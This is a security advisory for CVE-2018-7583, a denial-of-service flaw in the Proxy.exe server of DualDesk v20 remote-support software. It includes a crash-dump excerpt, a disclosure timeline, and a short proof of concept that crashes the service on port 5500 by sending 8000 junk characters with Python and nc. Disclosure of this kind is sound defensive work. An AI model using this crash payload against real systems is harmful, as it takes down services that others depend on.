[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/DUALDESK-v20-DENIAL-OF-SERVICE.txt [+] ISR: Apparition Security Vendor: =============== www.dualdesk.com Product: =========== DualDesk v20 DualDesk is powerful, easy to use remote support software that is a one-time purchase and lets your technical support staff remote assist a PC anywhere on the internet through firewalls in seconds with no configuration. Vulnerability Type: =================== Denial Of Service CVE Reference: ============== CVE-2018-7583 Security Issue: ================ Remote unauthenticated attackers can crash the "Proxy.exe" Server component of Dualdesk application which listens on TCP Port 5500 by sending a long string of junk chars. (d24.d60): Security check failure or stack buffer overrun - code c0000409 (first/second chance not available) eax=00000000 ebx=0257f1c0 ecx=00000000 edx=00000000 esi=00000002 edi=00000000 eip=77c6016d esp=0257f170 ebp=0257f20c iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!NtWaitForMultipleObjects+0x15: 77c6016d 83c404 add esp,4 Exploit/POC: ============= Start the Dualdesk Run Proxy as Application. C:\>python -c "print 'a'*8000" > crash.txt C:\>type crash.txt | nc.exe localhost 5500 Crash!!! Network Access: =============== Remote Severity: ========= Medium Disclosure Timeline: ============================= Vendor Notification: February 4, 2018 Second attempt : February 17, 2018 Request CVE, assigned by Mitre : March 1, 2018 March 1, 2018 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx